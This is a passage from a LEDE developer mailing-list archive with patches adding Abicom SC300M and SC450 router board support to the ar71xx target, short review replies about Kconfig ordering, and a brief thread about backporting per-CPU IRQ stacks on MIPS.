>  target/linux/ar71xx/files/arch/mips/ath79/Makefile |   1 +
>  .../ar71xx/files/arch/mips/ath79/mach-sc300m.c     | 132 +++++++++++++++++++++
>  .../linux/ar71xx/files/arch/mips/ath79/machtypes.h |   1 +
>  target/linux/ar71xx/image/generic.mk               |  10 ++
>  11 files changed, 164 insertions(+), 1 deletion(-)
>  create mode 100644 target/linux/ar71xx/files/arch/mips/ath79/mach-sc300m.c
> 
> diff --git a/target/linux/ar71xx/base-files/etc/board.d/01_leds b/target/linux/ar71xx/base-files/etc/board.d/01_leds
> index 5a2bf0c..5be9d4a 100755
> --- a/target/linux/ar71xx/base-files/etc/board.d/01_leds
> +++ b/target/linux/ar71xx/base-files/etc/board.d/01_leds
> @@ -279,6 +279,7 @@ gl-mifi)
>  	esac
>  	;;
>  gl-domino|\
> +sc300m|\
>  wrt160nl)
>  	ucidef_set_led_wlan "wlan" "WLAN" "$board:blue:wlan" "phy0tpt"
>  	;;
> diff --git a/target/linux/ar71xx/base-files/etc/board.d/02_network b/target/linux/ar71xx/base-files/etc/board.d/02_network
> index 66274db..54069ce 100755
> --- a/target/linux/ar71xx/base-files/etc/board.d/02_network
> +++ b/target/linux/ar71xx/base-files/etc/board.d/02_network
> @@ -93,6 +93,7 @@ ar71xx_setup_interfaces()
>  	rb-sxt5n|\
>  	re450|\
>  	rocket-m-xw|\
> +	sc300m |\
>  	tl-mr10u|\
>  	tl-mr11u|\
>  	tl-mr12u|\
> diff --git a/target/linux/ar71xx/base-files/etc/diag.sh b/target/linux/ar71xx/base-files/etc/diag.sh
> index d060ccf..36f2c43 100644
> --- a/target/linux/ar71xx/base-files/etc/diag.sh
> +++ b/target/linux/ar71xx/base-files/etc/diag.sh
> @@ -295,7 +295,8 @@ get_status_led() {
>  	rb-sxt5n)
>  		status_led="rb:green:power"
>  		;;
> -	re450)
> +	re450|\
> +	sc300m)
>  		status_led="$board:blue:power"
>  		;;
>  	routerstation|\
> diff --git a/target/linux/ar71xx/base-files/lib/ar71xx.sh b/target/linux/ar71xx/base-files/lib/ar71xx.sh
> index 1b30f4d..a8bdc67 100755
> --- a/target/linux/ar71xx/base-files/lib/ar71xx.sh
> +++ b/target/linux/ar71xx/base-files/lib/ar71xx.sh
> @@ -881,6 +881,9 @@ ar71xx_board_detect() {
>  	*RW2458N)
>  		name="rw2458n"
>  		;;
> +	*SC300M)
> +		name="sc300m"
> +		;;
>  	*"SMART-300")
>  		name="smart-300"
>  		;;
> diff --git a/target/linux/ar71xx/base-files/lib/upgrade/platform.sh b/target/linux/ar71xx/base-files/lib/upgrade/platform.sh
> index 6341a31..74808ef 100755
> --- a/target/linux/ar71xx/base-files/lib/upgrade/platform.sh
> +++ b/target/linux/ar71xx/base-files/lib/upgrade/platform.sh
> @@ -226,6 +226,7 @@ platform_check_image() {
>  	rocket-m-xw|\
>  	rocket-m|\
>  	rw2458n|\
> +	sc300m|\
>  	sr3200|\
>  	tew-632brp|\
>  	tew-712br|\
> diff --git a/target/linux/ar71xx/config-4.4 b/target/linux/ar71xx/config-4.4
> index 4b2f736..daffdea 100644
> --- a/target/linux/ar71xx/config-4.4
> +++ b/target/linux/ar71xx/config-4.4
> @@ -147,6 +147,7 @@ CONFIG_ATH79_MACH_R6100=y
>  # CONFIG_ATH79_MACH_RBSXTLITE is not set
>  CONFIG_ATH79_MACH_RE450=y
>  CONFIG_ATH79_MACH_RW2458N=y
> +CONFIG_ATH79_MACH_SC300M=y
>  CONFIG_ATH79_MACH_SMART_300=y
>  CONFIG_ATH79_MACH_SOM9331=y
>  CONFIG_ATH79_MACH_SR3200=y
> diff --git a/target/linux/ar71xx/files/arch/mips/ath79/Kconfig.openwrt b/target/linux/ar71xx/files/arch/mips/ath79/Kconfig.openwrt
> index 21d6b51..56889d7 100644
> --- a/target/linux/ar71xx/files/arch/mips/ath79/Kconfig.openwrt
> +++ b/target/linux/ar71xx/files/arch/mips/ath79/Kconfig.openwrt
> @@ -1,3 +1,14 @@
> +config ATH79_MACH_SC300M
> +	bool "Abicom SC300M board support"
> +	select SOC_QCA955X
> +	select ATH79_DEV_AP9X_PCI if PCI
> +	select ATH79_DEV_ETH
> +	select ATH79_DEV_GPIO_BUTTONS
> +	select ATH79_DEV_LEDS_GPIO
> +	select ATH79_DEV_M25P80
> +	select ATH79_DEV_USB
> +	select ATH79_DEV_WMAC


This is not ordered correctly

	John


> +
>  config ATH79_MACH_ALFA_AP120C
>  	bool "ALFA Network AP120C board support"
>  	select ATH79_DEV_AP9X_PCI if PCI
> diff --git a/target/linux/ar71xx/files/arch/mips/ath79/Makefile b/target/linux/ar71xx/files/arch/mips/ath79/Makefile
> index 6384c06..915b34e 100644
> --- a/target/linux/ar71xx/files/arch/mips/ath79/Makefile
> +++ b/target/linux/ar71xx/files/arch/mips/ath79/Makefile
> @@ -151,6 +151,7 @@ obj-$(CONFIG_ATH79_MACH_RB95X)			+= mach-rb95x.o
>  obj-$(CONFIG_ATH79_MACH_RBSXTLITE)		+= mach-rbsxtlite.o
>  obj-$(CONFIG_ATH79_MACH_RE450)			+= mach-re450.o
>  obj-$(CONFIG_ATH79_MACH_RW2458N)		+= mach-rw2458n.o
> +obj-$(CONFIG_ATH79_MACH_SC300M)			+= mach-sc300m.o
>  obj-$(CONFIG_ATH79_MACH_SMART_300)		+= mach-smart-300.o
>  obj-$(CONFIG_ATH79_MACH_SOM9331)		+= mach-som9331.o
>  obj-$(CONFIG_ATH79_MACH_SR3200)			+= mach-sr3200.o
> diff --git a/target/linux/ar71xx/files/arch/mips/ath79/mach-sc300m.c b/target/linux/ar71xx/files/arch/mips/ath79/mach-sc300m.c
> new file mode 100644
> index 0000000..45ec58d
> --- /dev/null
> +++ b/target/linux/ar71xx/files/arch/mips/ath79/mach-sc300m.c
> @@ -0,0 +1,132 @@
> +/*
> + * Abicom International Scorpion SC300M Module support.
> + *
> + * Copyright (c) 2012 Qualcomm Atheros
> + * Copyright (c) 2012-2013 Gabor Juhos <juhosg at openwrt.org>
> + * Copyright (c) 2017 Conor O'Gorman <i at conorogorman.net>
> + *
> + * Permission to use, copy, modify, and/or distribute this software for any
> + * purpose with or without fee is hereby granted, provided that the above
> + * copyright notice and this permission notice appear in all copies.
> + *
> + * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
> + * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
> + * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
> + * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
> + * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
> + * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
> + * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
> + *
> + */
> +
> +#include <linux/platform_device.h>
> +#include <linux/platform_data/phy-at803x.h>
> +
> +#include <asm/mach-ath79/ar71xx_regs.h>
> +
> +#include "common.h"
> +#include "pci.h"
> +#include "dev-ap9x-pci.h"
> +#include "dev-gpio-buttons.h"
> +#include "dev-eth.h"
> +#include "dev-leds-gpio.h"
> +#include "dev-m25p80.h"
> +#include "dev-nfc.h"
> +#include "dev-usb.h"
> +#include "dev-wmac.h"
> +#include "machtypes.h"
> +
> +#define SC300M_GPIO_LED_WLAN		0
> +#define SC300M_GPIO_LED_POWER		1
> +
> +#define SC300M_GPIO_BTN_RESET		17
> +
> +#define SC300M_KEYS_POLL_INTERVAL	20	/* msecs */
> +#define SC300M_KEYS_DEBOUNCE_INTERVAL	(3 * SC300M_KEYS_POLL_INTERVAL)
> +
> +#define SC300M_MAC0_OFFSET		0
> +#define SC300M_MAC1_OFFSET		6
> +#define SC300M_WMAC_CALDATA_OFFSET	0x1000
> +#define SC300M_PCIE_CALDATA_OFFSET	0x5000
> +
> +static struct gpio_led sc300m_leds_gpio[] __initdata = {
> +	{
> +		.name		= "sc300m:blue:wlan",
> +		.gpio		= SC300M_GPIO_LED_WLAN,
> +		.active_low	= 1,
> +	},
> +	{
> +		.name		= "sc300m:blue:power",
> +		.gpio		= SC300M_GPIO_LED_POWER,
> +		.active_low	= 1,
> +	}
> +};
> +
> +static struct gpio_keys_button sc300m_gpio_keys[] __initdata = {
> +	{
> +		.desc		= "reset",
> +		.type		= EV_KEY,
> +		.code		= KEY_RESTART,
> +		.debounce_interval = SC300M_KEYS_DEBOUNCE_INTERVAL,
> +		.gpio		= SC300M_GPIO_BTN_RESET,
> +		.active_low	= 1,
> +	}
> +};
> +
> +static struct at803x_platform_data at803x_data = {
> +	.disable_smarteee = 1,
> +	.enable_rgmii_rx_delay = 0,
> +	.enable_rgmii_tx_delay = 0,
> +};
> +
> +static struct mdio_board_info sc300m_mdio0_info[] = {
> +	{
> +		.bus_id = "ag71xx-mdio.0",
> +		.phy_addr = 1,
> +		.platform_data = &at803x_data,
> +	},
> +};
> +
> +static void __init sc300m_setup(void)
> +{
> +	u8 *art = (u8 *) KSEG1ADDR(0x1fff0000);
> +
> +	ath79_register_m25p80(NULL);
> +
> +	ath79_register_leds_gpio(-1, ARRAY_SIZE(sc300m_leds_gpio),
> +				 sc300m_leds_gpio);
> +	ath79_register_gpio_keys_polled(-1, SC300M_KEYS_POLL_INTERVAL,
> +					ARRAY_SIZE(sc300m_gpio_keys),
> +					sc300m_gpio_keys);
> +
> +	ath79_register_usb();
> +	ath79_register_nfc();
> +
> +	ath79_register_wmac(art + SC300M_WMAC_CALDATA_OFFSET, NULL);
> +
> +	ath79_register_mdio(0, 0);
> +	mdiobus_register_board_info(sc300m_mdio0_info,
> +				    ARRAY_SIZE(sc300m_mdio0_info));
> +
> +	ath79_init_mac(ath79_eth0_data.mac_addr, art + SC300M_MAC0_OFFSET, 0);
> +
> +	ath79_eth0_pll_data.pll_1000 = 0xa6000101;
> +	ath79_eth0_pll_data.pll_100 = 0xa4000101;
> +	/* GMAC0 is connected to the RMGII interface */
> +	ath79_eth0_data.phy_if_mode = PHY_INTERFACE_MODE_RGMII;
> +	ath79_eth0_data.phy_mask = 0xF;
> +	ath79_eth0_data.mii_bus_dev = &ath79_mdio0_device.dev;
> +
> +	ath79_register_eth(0);
> +
> +	/* GMAC1 is connected tot eh SGMII interface */
> +	ath79_eth1_data.phy_if_mode = PHY_INTERFACE_MODE_SGMII;
> +	ath79_eth1_data.speed = SPEED_1000;
> +	ath79_eth1_data.duplex = DUPLEX_FULL;
> +
> +	ath79_register_eth(1);
> +
> +	ath79_register_pci();
> +}
> +
> +MIPS_MACHINE(ATH79_MACH_SC300M, "SC300M", "Abicom SC300M", sc300m_setup);
> diff --git a/target/linux/ar71xx/files/arch/mips/ath79/machtypes.h b/target/linux/ar71xx/files/arch/mips/ath79/machtypes.h
> index 9402185..b1e29f9 100644
> --- a/target/linux/ar71xx/files/arch/mips/ath79/machtypes.h
> +++ b/target/linux/ar71xx/files/arch/mips/ath79/machtypes.h
> @@ -168,6 +168,7 @@ enum ath79_mach_type {
>  	ATH79_MACH_RB_SXTLITE5ND,		/* Mikrotik RouterBOARD SXT Lite 5nD */
>  	ATH79_MACH_RE450,			/* TP-LINK RE450 */
>  	ATH79_MACH_RW2458N,			/* Redwave RW2458N */
> +	ATH79_MACH_SC300M,			/* Abicom SC300M */
>  	ATH79_MACH_SMART_300,			/* NC-LINK SMART-300 */
>  	ATH79_MACH_SOM9331,			/* OpenEmbed SOM9331 */
>  	ATH79_MACH_SR3200,			/* YunCore SR3200 */
> diff --git a/target/linux/ar71xx/image/generic.mk b/target/linux/ar71xx/image/generic.mk
> index e2867e6..f8445b5 100644
> --- a/target/linux/ar71xx/image/generic.mk
> +++ b/target/linux/ar71xx/image/generic.mk
> @@ -464,6 +464,16 @@ define Device/onion-omega
>  endef
>  TARGET_DEVICES += onion-omega
>  
> +define Device/sc300m
> +  DEVICE_TITLE := Abicom SC300M
> +  DEVICE_PACKAGES := kmod-usb-core kmod-usb-ohci kmod-usb2 kmod-usb-ledtrig-usbport
> +  BOARDNAME = SC300M
> +  IMAGE_SIZE = 15744k
> +  CONSOLE = ttyS0,115200
> +  MTDPARTS = spi0.0:256k(u-boot)ro,64k(u-boot-env),15744k(firmware),128k(APConfig),128k(kplog),64k(ART)
> +endef
> +TARGET_DEVICES += sc300m
> +
>  define Device/smart-300
>    $(Device/tplink-8mlzma)
>    DEVICE_TITLE := NC-LINK SMART-300
> 


From john at phrozen.org  Sun Jan 15 05:53:13 2017
From: john at phrozen.org (John Crispin)
Date: Sun, 15 Jan 2017 14:53:13 +0100
Subject: [LEDE-DEV] [PATCH] ar71xx: add Abicom SC450 support
In-Reply-To: <20170112222538.477-1-i@conorogorman.net>
References: <20170112222538.477-1-i@conorogorman.net>
Message-ID: <6b6764a3-3fb8-1418-c785-d0d96ec06e0d@phrozen.org>

Hi,

this patch sits on top of the other and has the same ordering issue.

	John

On 12/01/2017 23:25, Conor O'Gorman wrote:
> Support Abicom International Scorpion SC450 Board
> 
> QCA9550 700MHz Extended Temperature Range
> 256MB DDR2
> 256MB NAND Flash
> 16MB NOR Flash
> 10/100/1000 Ethernet
> 15W Max, 3x3 Mode, Full Power TX Power
> 802.3-at POE+ & DC Input options
> 100x 85mm
> USB
> PCIe
> SFP
> GPIO/LED
> 
> Signed-off-by: Conor O'Gorman <i at conorogorman.net>
> ---
>  target/linux/ar71xx/base-files/etc/board.d/01_leds |   3 +
>  target/linux/ar71xx/base-files/etc/diag.sh         |   1 +
>  target/linux/ar71xx/base-files/lib/ar71xx.sh       |   3 +
>  .../ar71xx/base-files/lib/upgrade/platform.sh      |   1 +
>  target/linux/ar71xx/config-4.4                     |   1 +
>  .../ar71xx/files/arch/mips/ath79/Kconfig.openwrt   |  11 ++
>  target/linux/ar71xx/files/arch/mips/ath79/Makefile |   1 +
>  .../ar71xx/files/arch/mips/ath79/mach-sc450.c      | 149 +++++++++++++++++++++
>  .../linux/ar71xx/files/arch/mips/ath79/machtypes.h |   1 +
>  target/linux/ar71xx/image/generic.mk               |  10 ++
>  10 files changed, 181 insertions(+)
>  create mode 100644 target/linux/ar71xx/files/arch/mips/ath79/mach-sc450.c
> 
> diff --git a/target/linux/ar71xx/base-files/etc/board.d/01_leds b/target/linux/ar71xx/base-files/etc/board.d/01_leds
> index 5be9d4a..898af5e 100755
> --- a/target/linux/ar71xx/base-files/etc/board.d/01_leds
> +++ b/target/linux/ar71xx/base-files/etc/board.d/01_leds
> @@ -437,6 +437,9 @@ re450)
>  	ucidef_set_led_wlan "wlan2g" "WLAN 2.4 GHz" "$board:blue:wlan2g" "phy1tpt"
>  	ucidef_set_led_wlan "wlan5g" "WLAN 5 GHz" "$board:blue:wlan5g" "phy0tpt"
>  	;;
> +sc450)
> +	ucidef_set_led_wlan "wlan" "WLAN" "$board:green:wlan" "phy0tpt"
> +	;;
>  smart-300)
>  	ucidef_set_led_netdev "wan" "WAN" "nc-link:green:wan" "eth0"
>  	ucidef_set_led_switch "lan1" "LAN1" "nc-link:green:lan1" "switch0" "0x04"
> diff --git a/target/linux/ar71xx/base-files/etc/diag.sh b/target/linux/ar71xx/base-files/etc/diag.sh
> index 36f2c43..695f0a1 100644
> --- a/target/linux/ar71xx/base-files/etc/diag.sh
> +++ b/target/linux/ar71xx/base-files/etc/diag.sh
> @@ -44,6 +44,7 @@ get_status_led() {
>  	mr12|\
>  	mr16|\
>  	nbg6616|\
> +	sc450|\
>  	tl-wpa8630)
>  		status_led="$board:green:power"
>  		;;
> diff --git a/target/linux/ar71xx/base-files/lib/ar71xx.sh b/target/linux/ar71xx/base-files/lib/ar71xx.sh
> index a8bdc67..a15aab9 100755
> --- a/target/linux/ar71xx/base-files/lib/ar71xx.sh
> +++ b/target/linux/ar71xx/base-files/lib/ar71xx.sh
> @@ -884,6 +884,9 @@ ar71xx_board_detect() {
>  	*SC300M)
>  		name="sc300m"
>  		;;
> +	*SC450)
> +		name="sc450"
> +		;;
>  	*"SMART-300")
>  		name="smart-300"
>  		;;
> diff --git a/target/linux/ar71xx/base-files/lib/upgrade/platform.sh b/target/linux/ar71xx/base-files/lib/upgrade/platform.sh
> index 74808ef..690f5f2 100755
> --- a/target/linux/ar71xx/base-files/lib/upgrade/platform.sh
> +++ b/target/linux/ar71xx/base-files/lib/upgrade/platform.sh
> @@ -227,6 +227,7 @@ platform_check_image() {
>  	rocket-m|\
>  	rw2458n|\
>  	sc300m|\
> +	sc450|\
>  	sr3200|\
>  	tew-632brp|\
>  	tew-712br|\
> diff --git a/target/linux/ar71xx/config-4.4 b/target/linux/ar71xx/config-4.4
> index daffdea..bdd2179 100644
> --- a/target/linux/ar71xx/config-4.4
> +++ b/target/linux/ar71xx/config-4.4
> @@ -148,6 +148,7 @@ CONFIG_ATH79_MACH_R6100=y
>  CONFIG_ATH79_MACH_RE450=y
>  CONFIG_ATH79_MACH_RW2458N=y
>  CONFIG_ATH79_MACH_SC300M=y
> +CONFIG_ATH79_MACH_SC450=y
>  CONFIG_ATH79_MACH_SMART_300=y
>  CONFIG_ATH79_MACH_SOM9331=y
>  CONFIG_ATH79_MACH_SR3200=y
> diff --git a/target/linux/ar71xx/files/arch/mips/ath79/Kconfig.openwrt b/target/linux/ar71xx/files/arch/mips/ath79/Kconfig.openwrt
> index 56889d7..0fae915 100644
> --- a/target/linux/ar71xx/files/arch/mips/ath79/Kconfig.openwrt
> +++ b/target/linux/ar71xx/files/arch/mips/ath79/Kconfig.openwrt
> @@ -9,6 +9,17 @@ config ATH79_MACH_SC300M
>  	select ATH79_DEV_USB
>  	select ATH79_DEV_WMAC
>  
> +config ATH79_MACH_SC450
> +	bool "Abicom SC450 board support"
> +	select SOC_QCA955X
> +	select ATH79_DEV_AP9X_PCI if PCI
> +	select ATH79_DEV_ETH
> +	select ATH79_DEV_GPIO_BUTTONS
> +	select ATH79_DEV_LEDS_GPIO
> +	select ATH79_DEV_M25P80
> +	select ATH79_DEV_USB
> +	select ATH79_DEV_WMAC
> +
>  config ATH79_MACH_ALFA_AP120C
>  	bool "ALFA Network AP120C board support"
>  	select ATH79_DEV_AP9X_PCI if PCI
> diff --git a/target/linux/ar71xx/files/arch/mips/ath79/Makefile b/target/linux/ar71xx/files/arch/mips/ath79/Makefile
> index 915b34e..ae0e007 100644
> --- a/target/linux/ar71xx/files/arch/mips/ath79/Makefile
> +++ b/target/linux/ar71xx/files/arch/mips/ath79/Makefile
> @@ -152,6 +152,7 @@ obj-$(CONFIG_ATH79_MACH_RBSXTLITE)		+= mach-rbsxtlite.o
>  obj-$(CONFIG_ATH79_MACH_RE450)			+= mach-re450.o
>  obj-$(CONFIG_ATH79_MACH_RW2458N)		+= mach-rw2458n.o
>  obj-$(CONFIG_ATH79_MACH_SC300M)			+= mach-sc300m.o
> +obj-$(CONFIG_ATH79_MACH_SC450)			+= mach-sc450.o
>  obj-$(CONFIG_ATH79_MACH_SMART_300)		+= mach-smart-300.o
>  obj-$(CONFIG_ATH79_MACH_SOM9331)		+= mach-som9331.o
>  obj-$(CONFIG_ATH79_MACH_SR3200)			+= mach-sr3200.o
> diff --git a/target/linux/ar71xx/files/arch/mips/ath79/mach-sc450.c b/target/linux/ar71xx/files/arch/mips/ath79/mach-sc450.c
> new file mode 100644
> index 0000000..9cd0815
> --- /dev/null
> +++ b/target/linux/ar71xx/files/arch/mips/ath79/mach-sc450.c
> @@ -0,0 +1,149 @@
> +/*
> + * Abicom International Scorpion SC450 support.
> + *
> + * Copyright (c) 2012 Qualcomm Atheros
> + * Copyright (c) 2012-2013 Gabor Juhos <juhosg at openwrt.org>
> + * Copyright (c) 2017 Conor O'Gorman <i at conorogorman.net>
> + *
> + * Permission to use, copy, modify, and/or distribute this software for any
> + * purpose with or without fee is hereby granted, provided that the above
> + * copyright notice and this permission notice appear in all copies.
> + *
> + * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
> + * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
> + * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
> + * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
> + * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
> + * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
> + * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
> + *
> + */
> +
> +#include <linux/platform_device.h>
> +#include <linux/platform_data/phy-at803x.h>
> +
> +#include <asm/mach-ath79/ar71xx_regs.h>
> +
> +#include "common.h"
> +#include "pci.h"
> +#include "dev-ap9x-pci.h"
> +#include "dev-gpio-buttons.h"
> +#include "dev-eth.h"
> +#include "dev-leds-gpio.h"
> +#include "dev-m25p80.h"
> +#include "dev-nfc.h"
> +#include "dev-usb.h"
> +#include "dev-wmac.h"
> +#include "machtypes.h"
> +
> +#define SC450_GPIO_LED_POWER		13
> +#define SC450_GPIO_LED_ERR1		14
> +#define SC450_GPIO_LED_ERR2		15
> +#define SC450_GPIO_LED_WLAN		16
> +#define SC450_GPIO_BTN_RESET		17
> +#define SC450_GPIO_WP			18
> +#define SC450_GPIO_POE			19
> +#define SC450_GPIO_RX_LOS		20
> +#define SC450_GPIO_MOD_GND		21
> +#define SC450_GPIO_MOD_SCL		22
> +#define SC450_GPIO_MOD_SDA		23
> +
> +#define SC450_KEYS_POLL_INTERVAL	20	/* msecs */
> +#define SC450_KEYS_DEBOUNCE_INTERVAL	(3 * SC450_KEYS_POLL_INTERVAL)
> +
> +#define SC450_MAC0_OFFSET		0
> +#define SC450_MAC1_OFFSET		6
> +#define SC450_WMAC_CALDATA_OFFSET	0x1000
> +#define SC450_PCIE_CALDATA_OFFSET	0x5000
> +
> +static struct gpio_led sc450_leds_gpio[] __initdata = {
> +	{
> +		.name		= "sc450:green:power",
> +		.gpio		= SC450_GPIO_LED_POWER,
> +		.active_low	= 1,
> +	},
> +	{
> +		.name		= "sc450:red:power",
> +		.gpio		= SC450_GPIO_LED_ERR1,
> +		.active_low	= 1,
> +	},
> +	{
> +		.name		= "sc450:green:wlan",
> +		.gpio		= SC450_GPIO_LED_WLAN,
> +		.active_low	= 1,
> +	},
> +	{
> +		.name		= "sc450:red:wlan",
> +		.gpio		= SC450_GPIO_LED_ERR2,
> +		.active_low	= 1,
> +	}
> +};
> +
> +static struct gpio_keys_button sc450_gpio_keys[] __initdata = {
> +	{
> +		.desc		= "reset",
> +		.type		= EV_KEY,
> +		.code		= KEY_RESTART,
> +		.debounce_interval = SC450_KEYS_DEBOUNCE_INTERVAL,
> +		.gpio		= SC450_GPIO_BTN_RESET,
> +		.active_low	= 1,
> +	}
> +};
> +
> +static struct at803x_platform_data at803x_data = {
> +	.disable_smarteee = 1,
> +	.enable_rgmii_rx_delay = 0,
> +	.enable_rgmii_tx_delay = 0,
> +};
> +
> +static struct mdio_board_info sc450_mdio0_info[] = {
> +	{
> +		.bus_id = "ag71xx-mdio.0",
> +		.phy_addr = 1,
> +		.platform_data = &at803x_data,
> +	},
> +};
> +
> +static void __init sc450_setup(void)
> +{
> +	u8 *art = (u8 *) KSEG1ADDR(0x1fff0000);
> +
> +	ath79_register_m25p80(NULL);
> +
> +	ath79_register_leds_gpio(-1, ARRAY_SIZE(sc450_leds_gpio),
> +				 sc450_leds_gpio);
> +	ath79_register_gpio_keys_polled(-1, SC450_KEYS_POLL_INTERVAL,
> +					ARRAY_SIZE(sc450_gpio_keys),
> +					sc450_gpio_keys);
> +
> +	ath79_register_usb();
> +	ath79_register_nfc();
> +
> +	ath79_register_wmac(art + SC450_WMAC_CALDATA_OFFSET, NULL);
> +
> +	ath79_register_mdio(0, 0);
> +	mdiobus_register_board_info(sc450_mdio0_info,
> +				    ARRAY_SIZE(sc450_mdio0_info));
> +
> +	ath79_init_mac(ath79_eth0_data.mac_addr, art + SC450_MAC0_OFFSET, 0);
> +
> +	ath79_eth0_pll_data.pll_1000 = 0xa6000101;
> +	ath79_eth0_pll_data.pll_100 = 0xa4000101;
> +	/* GMAC0 is connected to the RMGII interface */
> +	ath79_eth0_data.phy_if_mode = PHY_INTERFACE_MODE_RGMII;
> +	ath79_eth0_data.phy_mask = 0xF;
> +	ath79_eth0_data.mii_bus_dev = &ath79_mdio0_device.dev;
> +
> +	ath79_register_eth(0);
> +
> +	/* GMAC1 is connected to the SGMII interface */
> +	ath79_eth1_data.phy_if_mode = PHY_INTERFACE_MODE_SGMII;
> +	ath79_eth1_data.speed = SPEED_1000;
> +	ath79_eth1_data.duplex = DUPLEX_FULL;
> +
> +	ath79_register_eth(1);
> +
> +	ath79_register_pci();
> +}
> +
> +MIPS_MACHINE(ATH79_MACH_SC450, "SC450", "Abicom SC450", sc450_setup);
> diff --git a/target/linux/ar71xx/files/arch/mips/ath79/machtypes.h b/target/linux/ar71xx/files/arch/mips/ath79/machtypes.h
> index b1e29f9..da9c160 100644
> --- a/target/linux/ar71xx/files/arch/mips/ath79/machtypes.h
> +++ b/target/linux/ar71xx/files/arch/mips/ath79/machtypes.h
> @@ -169,6 +169,7 @@ enum ath79_mach_type {
>  	ATH79_MACH_RE450,			/* TP-LINK RE450 */
>  	ATH79_MACH_RW2458N,			/* Redwave RW2458N */
>  	ATH79_MACH_SC300M,			/* Abicom SC300M */
> +	ATH79_MACH_SC450,			/* Abicom SC450 */
>  	ATH79_MACH_SMART_300,			/* NC-LINK SMART-300 */
>  	ATH79_MACH_SOM9331,			/* OpenEmbed SOM9331 */
>  	ATH79_MACH_SR3200,			/* YunCore SR3200 */
> diff --git a/target/linux/ar71xx/image/generic.mk b/target/linux/ar71xx/image/generic.mk
> index f8445b5..02b90b0 100644
> --- a/target/linux/ar71xx/image/generic.mk
> +++ b/target/linux/ar71xx/image/generic.mk
> @@ -474,6 +474,16 @@ define Device/sc300m
>  endef
>  TARGET_DEVICES += sc300m
>  
> +define Device/sc450
> +  DEVICE_TITLE := Abicom SC450
> +  DEVICE_PACKAGES := kmod-usb-core kmod-usb-ohci kmod-usb2 kmod-usb-ledtrig-usbport
> +  BOARDNAME = SC450
> +  IMAGE_SIZE = 15744k
> +  CONSOLE = ttyS0,115200
> +  MTDPARTS = spi0.0:256k(u-boot)ro,64k(u-boot-env),15744k(firmware),128k(APConfig),128k(kplog),64k(ART)
> +endef
> +TARGET_DEVICES += sc450
> +
>  define Device/smart-300
>    $(Device/tplink-8mlzma)
>    DEVICE_TITLE := NC-LINK SMART-300
> 


From nbd at nbd.name  Sun Jan 15 06:03:09 2017
From: nbd at nbd.name (Felix Fietkau)
Date: Sun, 15 Jan 2017 15:03:09 +0100
Subject: [LEDE-DEV] per-cpu IRQ stack on MIPS
In-Reply-To: <CAHmME9qbL6_x-t7FUonQckphFR7eJE4ZZC9DGfSmH_6E+-ZReg@mail.gmail.com>
References: <CAHmME9pZ65Z_jwFWzS0mMM7+Gh1zAHHBr3zhx3pWOpJWWwFmmg@mail.gmail.com>
 <f6ea2c92-8b9a-ab03-a77c-d489b8328f04@nbd.name>
 <CAHmME9qbL6_x-t7FUonQckphFR7eJE4ZZC9DGfSmH_6E+-ZReg@mail.gmail.com>
Message-ID: <184645bf-bff6-501d-c0aa-35334c3af8bb@nbd.name>

On 2017-01-15 14:32, Jason A. Donenfeld wrote:
> Hey Felix,
> 
> On Wed, Jan 11, 2017 at 10:59 AM, Felix Fietkau <nbd at nbd.name> wrote:
>>> It prevents crashes when lots of different networking drivers are
>>> stacked on top of eachother, like gre+l2tp+somethingelse.
>> I've pushed the backport of these changes to my staging tree at
>> https://git.lede-project.org/?p=lede/nbd/staging.git;a=summary
>>
>> I've already tested it on a MT7621 board and it works fine, please test
>> it on more devices.
> 
> It might be prudent to get this patch in before the freeze closes for
> the upcoming LEDE version. It's an important stability fix for MIPS.
I'd like to run a few more tests today before I merge it, just to make
sure it doesn't break stuff for the release.

- Felix


From Jason at zx2c4.com  Sun Jan 15 06:04:00 2017
From: Jason at zx2c4.com (Jason A. Donenfeld)
Date: Sun, 15 Jan 2017 15:04:00 +0100
Subject: [LEDE-DEV] per-cpu IRQ stack on MIPS
In-Reply-To: <184645bf-bff6-501d-c0aa-35334c3af8bb@nbd.name>
References: <CAHmME9pZ65Z_jwFWzS0mMM7+Gh1zAHHBr3zhx3pWOpJWWwFmmg@mail.gmail.com>
 <f6ea2c92-8b9a-ab03-a77c-d489b8328f04@nbd.name>
 <CAHmME9qbL6_x-t7FUonQckphFR7eJE4ZZC9DGfSmH_6E+-ZReg@mail.gmail.com>
 <184645bf-bff6-501d-c0aa-35334c3af8bb@nbd.name>
Message-ID: <CAHmME9pfyw8TcpQkdTHSasN3Lt9P7qFBFPraFU7GWbqzijVvig@mail.gmail.com>

On Sun, Jan 15, 2017 at 3:03 PM, Felix Fietkau <nbd at nbd.name> wrote:
> I'd like to run a few more tests today before I merge it, just to make
> sure it doesn't break stuff for the release.

Of course. Let me know if you run into any difficulties.


From Jason at zx2c4.com  Sun Jan 15 06:18:43 2017
From: Jason at zx2c4.com (Jason A. Donenfeld)
Date: Sun, 15 Jan 2017 15:18:43 +0100
Subject: [LEDE-DEV] per-cpu IRQ stack on MIPS
In-Reply-To: <CAHmME9pfyw8TcpQkdTHSasN3Lt9P7qFBFPraFU7GWbqzijVvig@mail.gmail.com>
References: <CAHmME9pZ65Z_jwFWzS0mMM7+Gh1zAHHBr3zhx3pWOpJWWwFmmg@mail.gmail.com>
